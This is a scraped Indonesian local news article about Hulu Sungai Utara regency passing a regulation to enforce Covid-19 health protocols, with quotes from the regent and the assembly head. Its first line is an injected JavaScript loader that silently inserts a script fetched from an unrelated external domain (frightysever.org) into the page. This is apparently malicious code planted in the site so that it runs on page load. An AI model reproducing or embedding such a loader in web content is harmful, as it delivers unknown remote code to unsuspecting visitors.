(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) sahkan Peraturan Daerah (Perda) tentang pedoman penerapan disiplin dan penegakan hukum protokol kesehatan (Protkes). Sebagai upaya pencegahan dan pengendalian Covid-19 di Kabupaten HSU.
Penetapan Perda tersebut disahkan setelah semua fraksi di DPRD Kabupaten HSU menyetujui putusan Rancangan Peraturan Daerah (Raperda) tentang pedoman penerapan disiplin dan penegakan hukum protokol kesehatan (Protkes) menjadi Peraturan Daerah (Perda) dalam rapat paripurna, Selasa (3/11/2020) sore.
Bupati HSU H Abdul Wahid HK saat menyampaikan pendapat akhir atas pengambilan keputusan DPRD terhadap Raperda mengapresiasi dan memberikan penghargaan yang tinggi kepada pimpinan DPRD Kabupaten HSU atas persetujuan menjadi Perda. Bupati Wahid mengharapkan, dengan disetujui menjadi Perda, nantinya dapat semakin memperkuat upaya dalam penegakkan protokol kesehatan Covid-19 di wilayah HSU.
Satpol PP selaku aparat penegak Perda, ASN, TNI-Polri beserta seluruh Satgas Covid-19 tidak perlu lagi ragu dalam menegakkan sanksi bagi siapa saja yang melalukan pelanggaran.
“Kita juga telah memiliki jaminan dasar hukum yang pasti dalam penindakan, sehingga harapan kita bersama masyarakat patuh dan terbiasa dengan melaksanakan protokol kesehatan terwujud,” tegas Bupati Wahid.
Nantinya saat pelaksaan Perda, Bupati mengimbau, petugas lebih mendahulukan upaya persuasif yakni pendekatan yang sifatnya membina, memberikan pemahaman, sehingga tumbuh kesadaran bagi pelanggar.
“Hindari upaya penindakan yang sifatnya menghukum dan menjerai pelanggar, kecuali apabila pelanggaran telah dilakukan berulang-ulang,” ingatnya.
Senada, Ketua DPRD HSU Almien Anshar Safari mengharapkan, adanya Perda ini, warga HSU semakin mematuhi Protkes, sehingga upaya dalam memutus mata rantai penularan Covid-19 di wilayah HSU maksimal.
“Mudah-mudahan adanya Perda ini, masyarakat kita semakin patuh terhadap protokol kesehatan,” tukas Almien. (kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN - Pos Bantuan Hukum (Posbankum) Kelurahan Telaga Biru menjadi titik tinjauan Kementerian Hukum… Read More
KANALKALIMANTAN.COM, JAKARTA - Dalam rangka memperkuat sinergi dan konsolidasi program pembangunan infrastruktur lintas sektor dan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kementerian Hukum (Kemenkum) RI mengapresiasi sarana prasarana (sarpras) di Pos Bantuan Hukum… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More
KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More
This website uses cookies.